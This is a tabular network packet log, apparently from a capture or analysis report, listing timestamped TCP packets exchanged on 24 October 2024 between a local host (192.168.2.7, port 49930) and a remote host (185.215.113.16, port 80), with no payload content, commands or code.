Oct 24, 2024 04:02:04.832386017 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.832411051 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.832423925 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.832427025 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.832473040 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.832643986 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.832678080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.832695007 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.832720995 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.832731962 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.832767010 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.832779884 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.832803011 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.832807064 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.832854986 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.832971096 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833003998 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833038092 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833050013 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833086967 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833131075 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833163977 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833188057 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833200932 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833211899 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833235979 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833254099 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833271980 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833281040 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833314896 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833484888 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833519936 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833537102 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833554983 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833564043 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833590984 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833605051 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833648920 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833683014 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833715916 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833734035 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833750963 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833759069 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833786964 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833806038 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833834887 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833839893 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833875895 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.833889008 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.833920002 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.874047995 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.874099970 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.874140024 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.874234915 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909451008 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909526110 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909543991 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909576893 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909590960 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909600019 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909610033 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909629107 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909643888 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909662962 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909670115 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909694910 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909707069 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909712076 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909730911 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909740925 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909750938 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909755945 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909769058 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909774065 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909792900 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909799099 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909804106 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909818888 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909837961 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909852982 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909866095 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909873009 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909884930 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909902096 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909905910 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909921885 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909931898 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909940958 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909951925 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909960032 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909962893 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.909981012 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.909986973 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910001040 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910006046 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910020113 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910028934 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910039902 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910042048 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910058975 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910059929 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910079002 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910079956 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910095930 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910096884 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910115004 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910115957 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910134077 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910135984 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910156012 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910156012 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910168886 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910175085 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910195112 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910197973 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910212994 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910218954 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910235882 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910247087 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910264969 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910265923 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910286903 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910288095 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910309076 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910310984 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910329103 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910331011 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910351992 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910365105 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910487890 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910506964 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910540104 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910558939 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910680056 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910697937 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910717010 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910725117 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910736084 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910744905 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910756111 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.910759926 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910792112 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910814047 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.910972118 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.911020041 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.911147118 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.911168098 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.911205053 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.950640917 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.950660944 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.950674057 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.950803041 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.951694012 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.951708078 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.951720953 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.951731920 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.951745987 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.951756001 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.951756954 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.951770067 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.951807022 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.951838017 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.951848030 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.951859951 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.951872110 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.951884985 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.951901913 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.951914072 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.952018023 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952032089 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952044964 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952063084 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.952088118 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.952088118 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.952203035 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952214956 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952225924 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952235937 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952241898 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.952250957 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952255964 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.952264071 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952275038 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.952276945 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952307940 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.952320099 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.952332020 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952368975 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.952822924 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952837944 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952848911 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952876091 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.952897072 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.952974081 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952986002 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.952996969 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.953008890 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.953021049 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.953037977 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.953049898 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.953066111 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.993096113 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.993114948 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.993204117 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.993226051 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.993242025 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.993253946 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.993277073 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.993307114 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.027581930 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027601004 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027612925 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027623892 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027636051 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027647018 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027683973 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.027718067 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027725935 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.027733088 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027745008 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027755022 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027781963 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.027792931 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.027812004 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.027868986 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027880907 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027893066 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027905941 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.027906895 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.027920961 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.027939081 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.028043032 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028054953 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028091908 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.028264999 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028275967 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028310061 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.028445005 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028455973 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028466940 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028476954 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028490067 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.028490067 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028500080 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.028506041 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028536081 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.028551102 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.028614998 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028628111 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028637886 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028666019 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.028681040 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.028789043 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028800964 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028810978 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028825998 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028847933 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.028860092 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.028882027 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.028944969 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028956890 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028968096 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.028994083 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.029020071 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.029144049 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029156923 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029167891 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029189110 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.029215097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.029285908 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029298067 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029311895 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029331923 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.029354095 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.029427052 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029443026 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029452085 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029472113 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.029489040 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.029755116 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029922009 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029932976 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029942989 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029956102 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.029970884 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.029979944 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.030009031 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.030064106 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.030076981 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.030087948 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.030100107 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.030124903 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.030150890 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.034045935 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.034059048 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.034104109 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.069982052 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.070027113 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.070053101 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.070060015 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.070076942 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.070141077 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.070641041 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.070652008 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.070663929 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.070703030 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.070717096 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.070775032 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.070816994 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.070971012 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.070983887 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.070997000 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.071007967 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.071021080 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.071021080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.071042061 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.071077108 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.071120024 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.071131945 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.071142912 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.071155071 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.071161985 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.071166992 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.071192026 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.071223021 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.071255922 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.071268082 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.071305990 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.071444035 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.071454048 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.071466923 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.071496964 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.071508884 CEST	49930	80	192.168.2.7	185.215.113.16
